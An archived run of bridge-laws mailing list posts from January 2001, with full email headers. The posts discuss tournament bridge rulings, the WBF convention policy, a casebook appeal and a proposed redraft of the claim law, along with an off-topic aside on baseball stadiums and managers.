26 Jan 2001 23:06:45 GMT X-Originating-IP: [134.134.248.26] From: "Todd Zimnoch" To: bridge-laws@rgb.anu.edu.au Subject: Re: Way, Way OT Baseball quotes, was Re: [BLML] Claim? Date: Fri, 26 Jan 2001 15:06:45 -0800 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 26 Jan 2001 23:06:45.0893 (UTC) FILETIME=[A7853350:01C087EC] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >From: alain gottcheiner >At 14:59 25/01/01 -0500, Craig Senior wrote: > >As did Leo at both the Polo Grounds and Ebbets Field. > >Would you all please choose _inter_national sports when making subtle >allusions ? Everybody wants to participate to the presumed general >hilarity. Then for the uninitiated and at the risk of being accused of turning this into the Baseball Lore Mailing List again: Earl Weaver - Manager of the Baltimore Orioles through most of the 1970's and 1980's. He was known not only as an excellent manager, but also as a rules dick and a fiesty character that would fly out of the dugout (the place the players/managers/coaches not meant to be on the field stay in baseball) to scream and yell at the umpire (referee) for making a bad call. This behavior got him thrown out of the game 91 times. I personally only witnessed 2 live, but he always charged the atmosphere whenever he stormed out of the dugout. Memorial Stadium - The Orioles played at Memorial Stadium until 1992. It is in mid-town Baltimore straddling some very predominately black and some predominately middle class white neighborhoods. Baltimore is a very segregated city and race can be a touchy issue there, though it never seemed a problem inside the stadium. Nowadays the Orioles play at Camden Yards, which is located in downtown Baltimore and draws a far richer crowd especially from Washington, D.C. and Virginia as the O's are the team geographically closest to them. Wrigley Field - The Chicago Cubs play there and it also straddles communities, particularly a strong Polish immigrant community. The buildings across the street are just high enough that people watch the game for free from their roofs while listening to the radio. You're likely to see polka bands outside the stadium playing for beer money after the game. Although the Cubs are a miserable team, their fans are possibly the most loyal. The practice of spectators throwing back an opposing team's homerun ball (a ball that was hit off the playing field and scored all runners) started at this stadium, I believe. There is a very unique atmosphere at this stadium. Ebbets Field - In Brooklyn (borough of New York City), where the Dodgers played. Jackie Robinson was the first black major league baseball player and his first game was at Ebbets. The first televised baseball game was at this stadium. It has been demolished. The Polo Grounds - In Manhattan, home of the other NY baseball team, whatever it was. It has also been demolished. (I had to look this one up) Leo - Leo Durocher. Manager of the Brooklyn Dodgers. Known for a big and fiesty personality as well. And just for the curiosity: Morgana - Some huge buxomed woman who made a legend of herself for running onto baseball fields to plant lipstick-laden kisses on a player before getting escorted out. -Todd (Hey, the game's gotta have soul, right?) _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 11:59:31 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0R0wVY27180 for bridge-laws-outgoing; Sat, 27 Jan 2001 11:58:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from calum.csclub.uwaterloo.ca (root@calum.csclub.uwaterloo.ca [129.97.134.11]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0R0wOt27172 for ; Sat, 27 Jan 2001 11:58:25 +1100 (EST) Received: from calum.csclub.uwaterloo.ca (localhost [127.0.0.1]) by calum.csclub.uwaterloo.ca (8.9.3+Sun/8.9.3) with ESMTP id UAA15653 for ; Fri, 26 Jan 2001 20:03:56 -0500 (EST) Message-Id: <200101270103.UAA15653@calum.csclub.uwaterloo.ca> From: Michael Farebrother To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] WBF Systems Policy Reply-To: blml@farebrother.cx In-reply-to: <02d101c08725$b581db60$9a9c1e18@san.rr.com> References: <02d101c08725$b581db60$9a9c1e18@san.rr.com> Date: Fri, 26 Jan 2001 20:03:55 -0500 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On 25 January 2001 at 15:18, "Marvin L. French" wrote: >From: "Grattan Endicott" >> >> From: Marvin L. French > >> > >> > From: "Grattan Endicott" >> > >> > > > > I have just read an article of yours on WBF >> > > > > conventions on David Stevenson's page and >> > > > > have a question. If I play a 2D opening as a >> > > > > 5-5 major/minor two suiter is it allowed (as >> > > > > a multi variant) or is it banned (because the >> > > > > anchor suit is unknown)? >> > > > > >> > > > +=+ This is a Brown Sticker convention and >> > > > may not be played in tournaments where >> > > > Brown Sticker (BS) conventions are prohibited. >> > > > Regarding the multi the WBF Systems Policy >> > > > says that what is not BS is an opening bid of >> > > > two in a minor suit that shows "a weak two in >> > > > either major, whether with or without the >> > > > option of strong hand types, as described in >> > > > the WBF Conventions Booklet". >> > >> > Does that mean only an unspecified major, only a >> > specified major, or whichever? >> > >> +=+ It means an agreement that 2D shows >> 'a weak two in either major' etc. +=+ >> >I don't see a smiley, so I take this to be a serious reply. > >Grattan, the WBFLC in general, and the ACBL, all seem to think that the >words "either," "or," and "any" are unambiguous. This is not correct. All >three have at least two common meanings that are inconsistent. We can >usually tell which meaning applies by the context, but not always, and not >in this case. > The complete notes about this state, effectively, that a weak bid without an anchor suit is a BSC, unless it's Multi 2D or Mini-Multi 2D. The whole quote has been posted (by Grattan, IIRC) in this thread, and exists at: http://bridge.ecats.co.uk/BiB/b7/wbfsystemspolicy/definitions.asp Section 2.3 a) ii), the second exception. The WBF convention booklet that is referenced there is available from http://www.blakjak.demon.co.uk/wbf_cnbk.htm#full (thanks, Anna and David). >If a 2D opening shows a weak two in hearts, is that not acceptable when "a >weak two in either major" is acceptable? It says either major, and hearts >is a major suit, isn't it? The ACBL says no, not acceptable, it must be a >weak two in an unspecified major. After I pointed out the ambiguity of >"either," they changed it to "an unspecified" last year. > Marvin, are you reading the same Mid-Chart that I am? Allowed, #4 says "Any call that promises four or more cards in a known suit." There are a couple of exceptions (one-bids <8HCP, and something that I think makes 2D = 5H + 5m illegal (as it could show diamonds)), but if you want to play tranfer preempts, they're just as Mid-Chart as the Multi 2D (allowed in #5). http://www.acbl.org/info/charts/charts.stm has all the ACBL convention charts, and the Alert chart and full pamphlet. And I don't know how many times I've used that page. Thanks, Chyah. >All I am asking is what meaning is intended by "either" in the WBF Systems >Policy. The policy allows Multi, evidently, but must the major suit be >unspecified, as in Multi, or can it be a specified major? Is that a dumb >question? > The same WBF systems policy states (again, 2.3, a), ii)) "does not promise four cards in a known suit. [is a BSC]" So if 2D shows 4+hearts, it's not BSC. Does that solve your problems? Michael. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 12:21:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0R1LSt27668 for bridge-laws-outgoing; Sat, 27 Jan 2001 12:21:29 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0R1LMt27664 for ; Sat, 27 Jan 2001 12:21:23 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Fri, 26 Jan 2001 17:17:59 -0800 Message-ID: <006a01c087ff$64832360$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] Claim? Date: Fri, 26 Jan 2001 17:18:50 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > Laval Du Breuil wrote: > David Stevenson wrote: >> In my view, a good club TD does not rule from memory. > ____________________________________________________________ > > Bridge then is a special game. Have you ever seen a > referee working with a lawbook at hockey, baseball > or other such games. > Indeed special, in that it is probably the only game or sport in which the players are in general unfamiliar with the rules. Those playing the sports you mention know the rules very well, so there is no need for the presence of a rule book. > When calling the TD at bridge > last 30 years in sectionals or nationals I rarely > see one coming with his lawbook this side of the > pound. > And you have seen plenty of mistakes, and plenty of suspicion that a side has not been treated fairly. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 12:49:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0R1mjw27777 for bridge-laws-outgoing; Sat, 27 Jan 2001 12:48:45 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from calum.csclub.uwaterloo.ca (root@calum.csclub.uwaterloo.ca [129.97.134.11]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0R1mct27770 for ; Sat, 27 Jan 2001 12:48:38 +1100 (EST) Received: from calum.csclub.uwaterloo.ca (localhost [127.0.0.1]) by calum.csclub.uwaterloo.ca (8.9.3+Sun/8.9.3) with ESMTP id UAA16575 for ; Fri, 26 Jan 2001 20:54:11 -0500 (EST) Message-Id: <200101270154.UAA16575@calum.csclub.uwaterloo.ca> From: Michael Farebrother To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Exposed Card before auction begins (?) Reply-To: blml@farebrother.cx In-reply-to: <024301c08718$05368d80$9a9c1e18@san.rr.com> References: <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <3.0.2.32.20010124022224.010ceae8@mail.chello.nl> <001b01c086b0$0c8e6ac0$604001d5@pbncomputer> <024301c08718$05368d80$9a9c1e18@san.rr.com> Date: Fri, 26 Jan 2001 20:54:10 -0500 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On 25 January 2001 at 13:44, "Marvin L. French" wrote: > >David Burn wrote: > >> Most players, in my experience, do this: (1) they take their cards out >> of the board and count them; (2) they pick them up in a single pile and >> lift them towards their eyes; (3) they look first at the face of the >> bottom card of the pile; (4) they fan the cards and look at the faces of >> the rest of them; (5) they sort their hand. If one had to produce a >> "common sense" interpretation of the law, my view is that the auction >> period would begin at stage 3, rather than at some indeterminate point >> during stage 4. There are also players who pick their cards up one at a >> time, sorting their hand as they do so. Again, for such players I would >> say that the auction period begins once they have looked at their first >> card, rather than at some arbitrary card such as the second or the >> tenth. > >When a TD asks (e.g., when a board is turned the wrong way), "Has anyone >looked at their hand?," everyone knows what he means, and that is (3). If >the answer is yes, the auction has begun and, e.g., a board cannot be >turned. > Strange, I thought everyone know what she meant, but I thought it was (4). Interesting. I wonder what that means (besides the fact that you and I think on different lines - and the whole freaking world knows that's true, Marvin). On the other hand, I do steps 1-3, then insertion sort (so step 4 gets skipped). I do realize that this, like most of the most controversial BLML discussions, is a one-in-a-million event. While I think that most of the Laws are flawed, they do work the other million-1 times, which I think is better than the real legal system. I also believe that some Laws are bad, and I make it clear when they come up. I don't expect that many regulars here do not know my three or four bugbears. But, I rule L25B when the situation comes up, even if I think it's, er, ugly. And I campaign to have it changed. I don't expect to see the ACBL loosen up convention regulations, at least in any game I get to play, though :-). I don't know if I have a point, either specifically on this topic, or in general; it just seems to be a convenient point to hoist my BLML platform. Michael. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 13:07:36 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0R27EM28197 for bridge-laws-outgoing; Sat, 27 Jan 2001 13:07:14 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from calum.csclub.uwaterloo.ca (root@calum.csclub.uwaterloo.ca [129.97.134.11]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0R277t28193 for ; Sat, 27 Jan 2001 13:07:08 +1100 (EST) Received: from calum.csclub.uwaterloo.ca (localhost [127.0.0.1]) by calum.csclub.uwaterloo.ca (8.9.3+Sun/8.9.3) with ESMTP id VAA16958 for ; Fri, 26 Jan 2001 21:12:40 -0500 (EST) Message-Id: <200101270212.VAA16958@calum.csclub.uwaterloo.ca> From: Michael Farebrother To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] WBF Systems Policy Reply-To: blml@farebrother.cx In-reply-to: <200101270103.UAA15653@calum.csclub.uwaterloo.ca> References: <02d101c08725$b581db60$9a9c1e18@san.rr.com> <200101270103.UAA15653@calum.csclub.uwaterloo.ca> Date: Fri, 26 Jan 2001 21:12:40 -0500 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On 26 January 2001 at 20:03, I wrote: > >Marvin, are you reading the same Mid-Chart that I am? That was uncalled for. And mindless of me, especially as if I'd waited two posts, I would have found out what bids were specifically being talked about (and they don't fit with my explanation). As others have said, your 2D and 2H bids aren't Mid-Chart legal (though why 2D shouldn't be I don't know). However, the WBF's BSC regulations' first exception says that: The bid always shows at least four cards in a known suit if it is weak. If the bid does not show a known four card suit it must show a hand a king or more over average strength. And I believe your two bids qualify for that exception. I hope *this* answers your question. Better, at least, than the last time. Michael. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 13:13:49 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0R2Dg528228 for bridge-laws-outgoing; Sat, 27 Jan 2001 13:13:42 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0R2DZt28224 for ; Sat, 27 Jan 2001 13:13:36 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14MKrq-0006Lf-0Y for bridge-laws@rgb.anu.edu.au; Sat, 27 Jan 2001 02:13:31 +0000 Message-ID: Date: Fri, 26 Jan 2001 05:54:27 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Claim? References: <006101c08734$5fbc50c0$d6e57ad5@pbncomputer> In-Reply-To: <006101c08734$5fbc50c0$d6e57ad5@pbncomputer> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article <006101c08734$5fbc50c0$d6e57ad5@pbncomputer>, David Burn writes >============================================================== >When apprised of this flaw, >You never yet saw >Such a fearfully marked elongation of jaw >As in Shylock, who cried, "Plesh my heart - ish that law?" > > Barham, "The Ingoldsby Legends" >============================================================== > >> I hope some good club directors are able to give most of their >> rulings without consulting the lawbook...)) > >You had better not let DWS hear you say that. One of roughly the three >points on which the great man and I are in agreement is this: no >director should ever give a ruling without, in the presence of all the >players, consulting the Laws. There are about 5 standard infractions which I give without reading the Laws. The obvious one is Opening Lead out of turn. You need a lifetime to read this one Secondly the revoke penalty, they just want to know is it 1 or 2 tricks. 3rd a pass before anyone has bid. 4th, the disposition of a penalty card and lastly, an insufficient bid, where it is clear that both the insufficient bid and the bid made good will neither be conventional. This is about 80% of all rulings and IMO it's as good to interpret the Law to the player and let them get on with it. They'll all have seen it before and be happy the ruling's correct. Otherwise I say "I'm going to have to look this one up" which is fine (even if I do know it) but it breaks up the tempo of the game which is quite a significant consideration. > >David Burn >London, England -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 13:40:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0R2doR28407 for bridge-laws-outgoing; Sat, 27 Jan 2001 13:39:50 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0R2dgt28400 for ; Sat, 27 Jan 2001 13:39:43 +1100 (EST) Received: from calvin.irvine.com (IDENT:adam@calvin.irvine.com [192.160.8.21]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id SAA17196; Fri, 26 Jan 2001 18:37:29 -0800 Message-Id: <200101270237.SAA17196@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Claim? In-reply-to: Your message of "Fri, 26 Jan 2001 17:18:50 PST." <006a01c087ff$64832360$9a9c1e18@san.rr.com> Date: Fri, 26 Jan 2001 18:37:28 -0800 From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin French wrote: > > Laval Du Breuil wrote: > > > David Stevenson wrote: > >> In my view, a good club TD does not rule from memory. > > ____________________________________________________________ > > > > Bridge then is a special game. Have you ever seen a > > referee working with a lawbook at hockey, baseball > > or other such games. > > > Indeed special, in that it is probably the only game or sport in > which the players are in general unfamiliar with the rules. Those > playing the sports you mention know the rules very well, so there is > no need for the presence of a rule book. No, that just seems wrong. In bridge, players generally know what they're supposed to do and what they're not supposed to do; they may not understand all the finer points, and they may not understand just how the penalties for infractions are computed. I don't think the situation is any different in professional sports. In fact, the team managers and the coaches are more likely the ones who'd be expected to know something about the rules, and I don't think they know the rules all that well. As for the players, probably half of them can't even read the longer words in the rulebook. (In fact, I'd guess that far too many of them can't even read the shorter words.) I've read the first two books by the late umpire Ron Luciano, and he gives some insight into the rules of baseball and how well the managers know them. A few managers knew the rules really well, but the majority of them didn't really know the rules; in most cases, Luciano believed, managers became experts at the rules that caused them problems, but remained ignorant of the rest. Luciano also wrote that, in order to graduate from umpire school, he had to take a test on the rulebook, and he got 297 out of 300 questions right; he doubted that any managers could match that. The impression I got from this book is that umpires didn't work with the rulebook because they were well-trained not to need it. (He did write about one incident in which an umpire did have to get his rulebook from the locker room and refer to it; it involved a complicated batting-out-of-order situation that wasn't specifically covered in the book.) I think this is necessary in baseball, because umpires have to maintain authority, and they would lose it if they had to refer to the rulebook every time they needed to make a ruling. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 18:45:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0R7i5G03464 for bridge-laws-outgoing; Sat, 27 Jan 2001 18:44:05 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0R7hxt03460 for ; Sat, 27 Jan 2001 18:44:00 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Fri, 26 Jan 2001 23:40:45 -0800 Message-ID: <004c01c08834$dc6d4740$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: Subject: [BLML] Cincinnati NABC Appeal 36 Date: Fri, 26 Jan 2001 23:41:17 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk NAP Flight B, 18 Mar 2000 Vulnerability: None Dealer West S- K5 H- A6 D- Q104 C- J98632 S- QJ10983 S-7 H- 1097 H- KQJ843 D- 982 D- A75 C- 5 C- K74 S- A642 H- 52 D- KJ63 C- AQ10 The bidding: West North East South 2S P 3H* all pass The Facts: 3H went down one, +50 for N/S. The Director was called after trick two. North asked after her final pass about 3H and was told by the bidder that it was non-forcing. The Director was not called at that time. West paused 3-4 seconds before passing 3H. Had the Director been called before the final pass, N/S would likely have had the opportunity to enter the auction at their own risk. The Director allowed the table result to stand. The Appeal: N/S appealed the Director's ruling. South said if he had known 3H was non-forcing, he would have entered the auction with a double and N/S would have reached 5C. South, a Life Master, indicated that he did not know he was supposed to call the Director at that time. E/W agreed that the 3H bid had not been Alerted but believed that South had an opportunity to bid and that any damage had not been because West neglected to Alert. The Panel Decision: The Panel determined that E/W should have Alerted 3H and with the proper information, South was likely to enter the auction with a double. North might then have found either the 3NT or the 5C game. The panel decided that N/S should have called the Director when they first became aware of the infraction. The Director could have determined that based on new information, South could have reconsidered his pass with all the risk that entailed. N/S did not give up all their rights by waiting, but some issues may no longer be considered. The first player consulted believed the Director should have been called and that the request for an adjustment was tainted by the sight of the dummy. E/W should be penalized or have their score adjusted but N/S should not. This player believed that a double by South would have led to a 5C contract. The second player consulted thought N/S had a reasonable argument and that the timing of the Director call was irrelevant for Flight B players (but Flight A players should know better). However, Flight B players should have known to call the Director before the opening lead. With the table result tainted, the second player thought that a score adjustment, most likely a split score, was appropriate. 3NT would be likely to make three. The third player consulted believed that once dummy was seen, little value should be attached to South's statement. The likely result for N/S was 3H down one, while -400 should be considered for E/W. That player also hoped the Panel had checked to see if 3H had been non-forcing or invitational. The Panel concluded that N/S did not do enough to protect themselves; they needed, at a minimum, to call the Director before dummy came down. For N/S the table result of 3H down one, +50, was allowed to stand. As for E/W, they failed to Alert the 3H bid in a timely fashion, perhaps depriving N/S of the opportunity to protect themselves. Their score was adjusted under Law 16 [sic] to the most unfavorable result that was at all probable had the infraction not occurred [sic]: 5C made five, -400. ################## Additional information [mlf] -- The ACBL CC has a red check box (meaning Alertable) for indicating that a suit takeout is non-forcing. The box is labeled plainly: New Suit NF. We are not told whether it was checked or not. -- The common ACBL-land treatment of a new suit takeout by an unpassed hand is forcing, hence the requirement to Alert non-forcing. -- ACBL regulation says that "players who, by experience or expertise, recognize that their opponents have neglected to Alert a special agreement will be expected to protect themselves." This is also true if a player "knows or suspects what is happening." -- Life Master status in the ACBL is not a high rank anymore, as the Class B event stratum indicates. ################## Note that North asked about 3H after passing, with partner on lead. Not good, showing an ignorance of proper procedure, but probably irrelevant. I don't see that N/S should be denied redress, and would like to know the Law that says they should be. Did they do something "wild, irrational, or gambling"? Also don't see that their rights were "tainted" by the sight of dummy. They may not even have been aware that there was an infraction, with the sight of dummy prompting the thought that maybe they should check with the TD about that possibility. They didn't follow correct procedure, which could call for a little lecture, but they should not have been denied +400 for a 5C contract. The casebook commentators approved the Panel's decision, giving it a score of 92.3. I'd give it 62.3 Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 21:07:06 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0RA65E26669 for bridge-laws-outgoing; Sat, 27 Jan 2001 21:06:05 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from snipe.prod.itd.earthlink.net (snipe.prod.itd.earthlink.net [207.217.120.62]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0RA5xt26663 for ; Sat, 27 Jan 2001 21:05:59 +1100 (EST) Received: from utcpoqli (pool0261.cvx2-bradley.dialup.earthlink.net [209.178.135.6]) by snipe.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with SMTP id CAA25447 for ; Sat, 27 Jan 2001 02:05:54 -0800 (PST) Message-ID: <023e01c08849$0b5b5920$1486b2d1@utcpoqli> From: "Tom Wood" To: "BLML" Subject: Re: [BLML] Claim? Date: Sat, 27 Jan 2001 02:08:04 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk JARGON PROBLEMS IN LAW 68 (CLAIMS & CONCESSIONS) -- In this thread on claims, several postings have called attention, at least obliquely, to the insufficient clarity of L68A in com- bination with L68C. Specifically, in this regard, I believe that there is not adequate distinction made in Law 68 among the following actions: 1. announcing a claim, 2. initiating (i.e., committing to) announcement of a claim, and 3. stating a proposed line of play. Consequently, some posters to this thread have expressed confusion or doubt as to exactly when the claimant's right to state a line of play has expired. (BTW, in my opinion, where any of the players express doubt that one of the players has actually committed to making a claim, the Director should be summoned to adjudicate that issue first. Consequently, it would be premature and inap- propriate for the potential claimant to offer a proposed line of play, pending that adjudication.) [See Ed Reppert's msg to that effect below.] PROPOSED RE-DRAFT OF L68A & L68C -- In the hope that it will convey my views about the defects of the current Law 68, I offer the following re-drafts of L68A and L68C for comment. Note that, in the interest of limiting the scope of this posting, I have *not*: 1. Addressed possible gains in reorganizing the L68 pre- sentation of *concessions* inter-mixed with *claims* 2. Addressed possible gains in reorganizing the L68 pre- sentation of defense claims along with declarer claims 3. Attempted to revise the standards, in the laws, for what constitutes (announcement of) a claim [as many have posters to this thread have suggested] 4. Concerned myself herein with the sexist-language issue PROPOSED RE-DRAFTS -- L68A. Announcing a Claim or Initiating a Claim Announcement If a contestant states that he and his partner will win a specific number of tricks, he has thereby announced a claim of those tricks. Alternatively, if a contestant suggests that play be curtailed, he has initiated a claim announcement and should state immediately how many tricks he is claiming. Similarly, a contestant who shows his unplayed cards has also initiated a claim announcement and should state immediately how many tricks he is claiming (unless he is the declarer and has clearly stated that he is not making a claim). L68C. Claimant's Statement of Proposed Line of Play Any announcement of a claim should be followed at once by the claimant's stating a proposed (offensive or defensive) line of play by which he and his partner would win the number of tricks claimed. The claimant is entitled to a reasonable opportunity to complete his statement of proposed line of play without interfer- ence from any of the other contestants at the table. In the case of a defensive claim, claimant's show of his hand and statement of a line of play will necessarily preclude his partner's playing out the hand and, therefore, Law 16, Unauthorized Information, and Law 57A, Premature Play, may apply. Consequently, when a defensive claim is made, contestants should not hesitate to summon the Director if they have any such concerns. Respectfully, Tom Wood, from beautiful, snowed-in ( 2' ) Crestline, CA (LA area) -----Original Message----- From: Ed Reppert To: Grant Sterling Cc: bridge-laws@rgb.anu.edu.au Date: Wednesday, January 24, 2001 7:46 PM Subject: Re: [BLML] Claim? > >At 10:30 AM -0600 1/24/01, Grant Sterling wrote: >>If the fact that the player had no intention of claiming is >>irrelevant to whether he has claimed, it must be equally irrelevant as to >>whether he has made his clarification statement 'at once'. L70D disallows >>any later correction of a clarification statement [well, disallows it >>whenever it would be helpful to declarer!], so once the non-claim is >>treated as a claim it is too late for declarer to clarify. > >Well, I suppose one could argue that if declarer doesn't think it's a >claim, and opponent does, and calls the TD, then it's up to the TD to >decide whether it's a claim or not. And in that event, "at once" >ought to mean "as soon as TD decides it's a claim". In much the same >way as "without pause for thought" is from the moment of realization, >not the actual placing of bidding cards. > > <<>> > >Regards, > >Ed -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 00:53:44 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0RDqoo02127 for bridge-laws-outgoing; Sun, 28 Jan 2001 00:52:50 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.cswnet.com (mail.cswnet.com [209.136.192.23]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0RDqgt02123 for ; Sun, 28 Jan 2001 00:52:43 +1100 (EST) Received: from kay (ashsv1-13.cswnet.com [209.136.193.13]) by mail.cswnet.com (Postfix) with SMTP id 48CDB5D09F; Sat, 27 Jan 2001 07:52:33 -0600 (CST) Message-ID: <005a01c08868$c5c56c00$0dc188d1@kay> From: "Nelson/Kay Ford" To: "John Probst" , References: <006101c08734$5fbc50c0$d6e57ad5@pbncomputer> Subject: Re: [BLML] Claim? Date: Sat, 27 Jan 2001 07:55:12 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 